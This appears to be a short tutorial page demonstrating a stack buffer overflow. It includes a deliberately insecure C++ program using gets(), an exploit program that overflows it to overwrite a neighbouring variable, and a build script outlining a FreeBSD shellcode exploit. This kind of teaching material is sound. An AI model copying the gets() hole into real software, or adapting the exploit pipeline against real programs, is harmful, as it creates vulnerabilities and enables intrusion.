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Path: Hacking : Buffer overflow :

Buffer overflow example...

program.cpp - program to break into

#include <cstdio>

using namespace std;

int
main()
{
   char buffer[100];
   int i = 0;
   gets(buffer);
   printf("i == %d\n", i);
   return 0;
}

hack.cpp - test the buffer over flow

#include <fstream>
#include <iostream>
#include <cstdlib>

using namespace std;

int
main()
{
   char ch;
   for(size_t i = 0; i < 100; i++)
      cout << "A";
   cout << flush;
   int test = 101;
   cout.write((char*)&test, sizeof(int));
   cout << '\n' << flush;
   exit(0);
}

test.sh - shell script to test the buffer over flow

#!/bin/sh
c++ hack.cpp -o hack
c++ program.cpp -o program
./hack | ./program

More complex example for FreeBSD i386

code.asm - asssebly language code
get_code.cpp - get the machine code bytes
insecure.cpp - an insecure program that uses gets() function
hack.cpp - a program to exploit the insecure program

#!/bin/sh
c++ get_code.cpp -o get_code
c++ insecure.cpp -o insecure
nasm -f elf code.asm -o code.o
cc code.o -o code
./get_code code code.dat > code.txt
c++ hack.cpp -o hack
./hack | ./insecure